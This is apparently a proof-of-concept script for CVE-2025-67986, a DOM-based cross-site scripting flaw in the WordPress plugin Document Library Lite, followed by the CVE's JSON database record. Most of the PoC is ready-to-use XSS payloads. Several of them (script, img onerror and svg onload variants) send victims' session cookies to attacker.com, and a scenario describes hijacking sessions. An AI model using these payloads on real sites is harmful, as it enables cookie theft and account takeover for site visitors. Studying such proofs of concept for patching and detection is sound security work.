CVE-2025-67986

// CVE-2025-67986 PoC - DOM-Based XSS in Document Library Lite <= 1.1.7 // Target: WordPress site with Document Library Lite plugin installed // Attack Vector 1: Using search/filter parameter // Inject malicious script via URL parameter that plugin processes client-side var attackUrl = window.location.origin + '/?' + encodeURIComponent('doc_search') + '=' + encodeURIComponent('<img src=x onerror="alert(document.cookie)">'); // Attack Vector 2: Direct DOM injection payload // This payload exploits the plugin's direct DOM manipulation without sanitization var xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; var imgPayload = '<img src=x onerror=fetch("https://attacker.com/log?d="+btoa(document.cookie))>'; var svgPayload = '<svg/onload=fetch("https://attacker.com/exfil?cookie="+document.cookie)>'; // Attack Vector 3: Stored XSS leading to DOM execution // If the plugin stores unsanitized content that is later displayed var storedPayload = '<iframe src="javascript:alert(document.domain)">'; // Example exploitation scenario: // 1. Attacker creates a document entry with malicious title/description // 2. When victim views the document library, the payload executes in their browser // 3. Attacker steals session cookies or performs actions on behalf of victim console.log('PoC for CVE-2025-67986 - Document Library Lite DOM XSS'); console.log('Payload examples for testing:'); console.log('Image tag:', imgPayload); console.log('SVG tag:', svgPayload); // Mitigation: Plugin should sanitize all user inputs before DOM manipulation // Use textContent instead of innerHTML, or proper HTML encoding

{"cve": {"id": "CVE-2025-67986", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:16:00.507", "lastModified": "2026-04-27T18:16:52.657", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Barn2 Plugins Document Library Lite document-library-lite allows DOM-Based XSS.This issue affects Document Library Lite: from n/a through <= 1.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/document-library-lite/vulnerability/wordpress-document-library-lite-plugin-1-1-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}